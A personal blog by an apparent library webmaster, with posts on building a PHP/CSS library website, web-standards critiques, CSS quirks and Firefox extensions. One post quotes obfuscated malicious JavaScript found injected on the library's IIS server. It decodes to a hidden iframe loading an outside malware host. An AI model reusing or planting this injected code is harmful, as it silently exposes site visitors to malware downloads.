Finally…we’re live!

Our new library website is LIVE!

I’ve been working on this for what amounts to a year or more now.  Long, I know, but I learned as I went. While I knew basic HTML when I started, enough to put together a simple page, I had to learn XHTML, CSS and, eventually PHP.  The site has seen multiple iterations prior to the final design but I’m pleased with how things have finally turned.

The main page uses SimplePie to display a couple of RSS feeds as content generated by the amazingly useful listgarden generator.  The calendar is a bit of damn useful PHP developed by James Cridland.  Some areas are still a work in progress, some are simple movement of old content into a new package, but overall I’m happy with how things turned.

Browser compatability isn’t perfect.  An advanced CSS3 selector used to pick out Children’s events on the calendar only works in Firefox, Opera, and IE7.  However in most instances everything should work in IE6, IE7, Firefox 2 (and FF 3 beta 5), and Opera 9.x.  Give it a whirl and feel free to leave comments/suggestions/thoughts.

One last note, not everthing is standards compliant….yet.  PHP is a pain in the ass to validate for that, at least as far as I can tell, so if anyone has input I’d definatley appreciate any advice in that regard.

This represents my first “real” website design and I’m pretty proud of it so try not to bruise my ego too much.

Advertisements

A Slight Frustration- Libraries and the ‘Net

I’ve been working on redesign of our library website.  Now I’m not a professional…at all and nearly everything I’ve learned about web design is stuff I’ve picked within the last year so take whatever I have to say with a (very minuscule) grain of salt.  I’ve gone from a straight HTML design to xhtml to PHP (which is where I’m staying dammit!) all three enhanced and spiced up via CSS.  Now one of the main tenets of CSS is the obligatory “Tables are Bad!”  At least from a design perspective.  Tables are to house data/information and SHOULD NOT be used in the LAYOUT of a web page.  Which is where CSS comes in.  Admittedly designing a layout via CSS that is accessible and (nigh) identical across a variety of browsers IS a bit of an uphill battle but the payoff, especially in terms of code simplicity,  is absolutely worth it.

In order to fuel my erstwhile designing I’ve been visiting a number of (mostly local) library websites in order to get a feel not only for how they have their websites laid out but for how they handle their coding as well.  Unfortunately what I’ve noticed is an increasing divide between current Web Design (from the professional world) and Web Design (in the library world).

Take a look at Princeton Public Library’s web page. I admit their design is attractive but a glance at their code reveals that, while readable, it lacks in some areas.  Most of the major content is delivered via tables, contains a fair amount of inline styling (again with the tables in particular), and a uses bunch of repeated code (header and footer).  Even if you didn’t want to use CSS for layout you could move the inline table styling to a style sheet (especially since most of the tables are contained in a div with a unique id).  Furthermore switching to PHP would allow a simple include once call for both the header and the footer leaving only the major content of each page.  I simplify of course, it is probably slightly more complicated than that, but designing an elegantly coded well designed page is within reach.

In terms of content PPL is a great example, I’ve seen some truly disgusting designs out there, and melding design with content, especially for libraries in this age of integrated services, isn’t exactly an easy task but that doesn’t mean that current web design practices and standards are inapplicable to libraries.  I’ve developed almost a perverse habit of running library websites through the W3C Validation service and have been almost universally disappointed with the results.  I suppose I’d have more to complain about if the choice in coding actually interfered in the operation of the web pages in question, as of now it doesn’t, but I still find it a little depressing that, if not out right ignored, current Web standards seems to be such a low priority for library web pages.

There is more I could say on this, but I’m already rambling and I have a stack of magazines that need to be checked in and shelved, so maybe more later.

Also if anyone knows of any literature, from either side of the information world (web designers/analysts, librarians, etc.) that discuss this please feel free to point in that direction.

Changes….

Picked out a new wordpress theme today (Andreas04).  It isn’t as visually striking as the old theme but lacks some of display errors; blockquotes and links were a bitch to read before.  Even manually editting the last theme’s CSS didn’t quite work (the default cascade for these themes is a bit of mess), so here we are.

I also added a categories sidebar and made sure the page had a flexible, rather than fixed, width.  I am certainly pleased with the way it looks.  Hopefully I’ll also continue my spate of consistent posting.

I also finsihed Mass Effect last night so expect some comments on that sometime in the not too distant future.

There’s also a ton of stuff I’ve been meaning to post on (the WGA strike, comic reviews, more on Spiderman, to name a few things) that hopefully will get done sometime in the not-to-distant future.

Malicious javascript: document.write (unescape

Some malicious javascript has been appearing on the website of the library I work at:

document.write(unescape(‘%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%6E%39%36%2E%64%6E%73%2E%67%65%6E%64%69%73%74%72%2E%69%6E%66%6F%2F%71%75%61%6C%69%74%79%74%65%73%74%2F%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E’));

this translates to:

iframe src=”http://mn96.dns.gendistr.info/qualitytest/” height=”0″ width=”0″

The website attempts to offer a virus disguised as ad protection software.  I can delete the code but it reappears (likely if/when the server is rebooted).  The code goes deep enough to appear in the iisstart.asp, localstart.asp, and browser_detect.asp.   Since I’m technically only the webmaster (for a new webpage that isn’t even up yet, don’t ask, I don’t manage the servers or other hardware) with exactly 0 experience with IIS (we have a consultant for that) I’m not sure where to go from here.

We’re running IIS 5.0 and I, for the life of me, can’t figure what item (if any) allows the replication of the code. Any help would be much appreciated.

P.S.:  To make matters worse the wwwroot folder is clogged with sh*ttons of legacy files that no-one needs/uses.

CSS Stupidity

Well I wasted a whole morning on this.  See I have an imagemap of the library I work at. Clicking on a section of the map brings up a description of a collection and a search box specific to that area (or a link to the relevant area on the webpage). I decided today that I wanted these pop-up sections to have a translucent background. After a whole morning fiddling around with -moz-opacity, alpha filter, and opacity I threw in the towel and reverted to my old opaque background. You see, apparently setting opacity in CSS automatically applies the same setting to child elements.  Which, under normal circumstances wouldn’t be a problem since typically you can specify a different value for these child elements, or add a class or id with the differences.  Unfortunately, in the current version of CSS, opacity (once set) can’t be changed in child elements AT ALL.  There are several workarounds but (transparent PNG, tricking the cascade, etc.), IMO, they are all just bloated code. This is especially true given that my desire for a translucent background is entirely ascetic and doesn’t impact the function of the feature at all.  I’ve seen several mentions of using javascript to set opacity but again that seems to me a violation of the whole principle of separating structure, style, and function. Blah!!

I look forward to some of the CSS3 element currently being worked on.  Border-radius and  and RBGA can not come fast enough.  Lord knows when CSS3 will be ready, or even fully implemented in other browsers though.  I haven’t been paying attention too closely myself but after today’s opacity debacle I’ll be sure to keep a closer eye on developments.

Why the fox rocks….

So like so many of the people out there I’m a Firefox user. I have been for a number of years now. Yet, I’ve only used a tiny portion of the browser’s capabilities and, I’m willing to bet that average joe IE user that switched over doesn’t either. It was a couple of weeks ago that I ran across a feature over at Lifehacker called “Show us you firefox” and the true power and adaptability of Firefox was revealed to me. The keyword here is extensibility. There are a slew of add-on one can add to their Firefox to customize and enhance it’s use. Let me show you some of the extensions I use:

Tab Scope: Hovering the mouse over a tab reveals a preview of the tab in question.

Colorful Tabs: Turns your tab background pretty colors.

TinyMenu: Turns my menu bar into a single button.

Smart Bookmarks Bar: Collapse the bookmark in your toolbar into icons

Tab Mix Plus: Allows you to manage your tabs better including a list of closed tabs and the ability to reopen them.  Also manages your sessions.

Source Chart: View page source as a handy graphic chart.

Anyway, think about adding some extensions to firefox to improve your browsing experience.

CSS punch to the face

Today’s lesson:

When using absolute positioning (position:absolute;) for an element within a container div the the container must have a relative position (position: relative;) in order for the absolutely positioned element to be correctly positioned with said container.

….And it only too me 48 hours to learn that.   I could make that clearer, and even include an example, but f**k you guys.